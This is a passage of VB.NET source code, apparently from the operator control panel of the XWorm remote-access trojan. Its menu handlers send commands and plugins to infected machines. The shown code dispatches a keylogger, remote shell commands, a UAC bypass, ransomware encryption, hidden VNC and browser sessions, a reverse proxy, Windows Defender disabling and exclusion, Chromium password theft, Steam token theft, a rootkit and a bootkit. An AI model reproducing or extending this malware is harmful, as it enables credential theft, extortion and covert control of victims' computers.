Private Sub EditHostsToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles EditHostsToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim B As Byte() = SB("Hosts")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub OfflineToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles OfflineToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim B As Byte() = SB("OfflineGet")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("Offlinekeylogger..", Color.Black)
|
|
ShowLog()
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub OnlineToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles OnlineToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Keylogger.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ClientChatToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ClientChatToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim B As Byte() = SB("Xchat")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub CommandsToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CommandsToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim str3 As String = Interaction.InputBox("Set Commands", "Commands", "cmd.exe /c start calc")
|
|
If (str3.Length = 0) Then
|
|
Else
|
|
Dim B As Byte() = SB("RunShell" & SettingsHelper.SPL & str3)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub MessageBoxToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles MessageBoxToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\MessageBox.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RunAsToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RunAsToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\UACBypass.dll") & SettingsHelper.SPL & "0")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
|
|
Private Sub EncryptToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles EncryptToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim f As New Ransomware
|
|
f.ShowDialog()
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DecryptToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DecryptToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Ransomware.dll") & SettingsHelper.SPL & "False")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ReverseProxyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ReverseProxyToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\ReverseProxy.dll") & SettingsHelper.SPL & "False")
|
|
Dim C As Client = Lv1.SelectedItems(0).Tag
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
|
|
|
|
|
|
Private Sub RunPEToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RunPEToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\HVNC.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub MemoryToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles MemoryToolStripMenuItem2.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\HVNCMemory.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub BotkillerToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles BotkillerToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "RunBotKiller")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("Botkiller..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub WDKillerToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles WDKillerToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "WDKiller")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("WDKiller..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub WDDisableToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles WDDisableToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "WDDisable")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("WDDisable..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub WDExclusionToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles WDExclusionToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "WDExclusion")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("WDExclusion..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Form1_Activated(sender As Object, e As EventArgs) Handles Me.Activated
|
|
If trans Then Opacity = 1.0
|
|
End Sub
|
|
|
|
Private Sub Form1_Deactivate(sender As Object, e As EventArgs) Handles Me.Deactivate
|
|
Opacity = 0.99
|
|
End Sub
|
|
|
|
Private Sub WDExclusionToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles WDExclusionToolStripMenuItem1.Click
|
|
If Lv3.Items.Count > 0 Then
|
|
|
|
For Each item As ListViewItem In Lv3.Items
|
|
|
|
If item.Text = "WDExclusion" Then
|
|
Return
|
|
End If
|
|
Next
|
|
End If
|
|
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "WDExclusion"
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Options.dll") & SettingsHelper.SPL & "WDExclusion")
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
End Sub
|
|
|
|
Private Sub UninstallPluginsToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles UninstallPluginsToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim B As Byte() = SB("RemovePlugins")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RunRecoveryToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RunRecoveryToolStripMenuItem.Click
|
|
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\WindowsUpdate.dll") & SettingsHelper.SPL & 6)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("RunUpdatedRecovery..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RunRecoveryToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RunRecoveryToolStripMenuItem1.Click
|
|
Try
|
|
If Lv3.Items.Count > 0 Then
|
|
|
|
For Each item As ListViewItem In Lv3.Items
|
|
|
|
If item.Text = "RunRecovery" Then
|
|
Return
|
|
End If
|
|
Next
|
|
End If
|
|
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "RunRecovery"
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\WindowsUpdate.dll") & SettingsHelper.SPL & 6)
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
|
|
|
|
Private Sub HiddenVNCToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HiddenVNCToolStripMenuItem.Click
|
|
|
|
End Sub
|
|
|
|
Private Sub HiddenAppsToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HiddenAppsToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\HiddenApps.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub HiddenBrowserToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HiddenBrowserToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\HBrowser.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ChromiumToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ChromiumToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Chromium.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("Chromium Passwords..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ChromiumToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ChromiumToolStripMenuItem1.Click
|
|
Try
|
|
If Lv3.Items.Count > 0 Then
|
|
|
|
For Each item As ListViewItem In Lv3.Items
|
|
|
|
If item.Text = "Chromium" Then
|
|
Return
|
|
End If
|
|
Next
|
|
End If
|
|
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "Chromium"
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Chromium.dll"))
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub FilesSearcherToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles FilesSearcherToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\FilesSearcher.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub VoiceChatToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles VoiceChatToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\VoiceChat.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RootkitToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Rootkit.dll") & SettingsHelper.SPL & 8)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("RootKit..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub ResetSurvivalToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem2.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\ResetSurvival.dll") & SettingsHelper.SPL & 9)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("BootKit..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub SteamTokenRecoveryToolStripMenuItem3_Click(sender As Object, e As EventArgs) Handles SteamTokennToolStripMenuItem3.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\SteamTokenRecovery.dll") & SettingsHelper.SPL & 10)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("SteamToken..", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub V20RecoveryToolStripMenuItem3_Click(sender As Object, e As EventArgs) Handles V20TwoToolStripMenuItem3.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\V20Recovery.dll") & SettingsHelper.SPL & 7)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("V20 Recovery", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub DisableUACToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DisableUACToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\DisableUAC.dll") & SettingsHelper.SPL & 11)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
LVLog("Disable UAC", Color.Black)
|
|
ShowLog()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Guna2ContextMenuStrip5_Opening(sender As Object, e As System.ComponentModel.CancelEventArgs) Handles Guna2ContextMenuStrip5.Opening
|
|
|
|
End Sub
|
|
End Class
|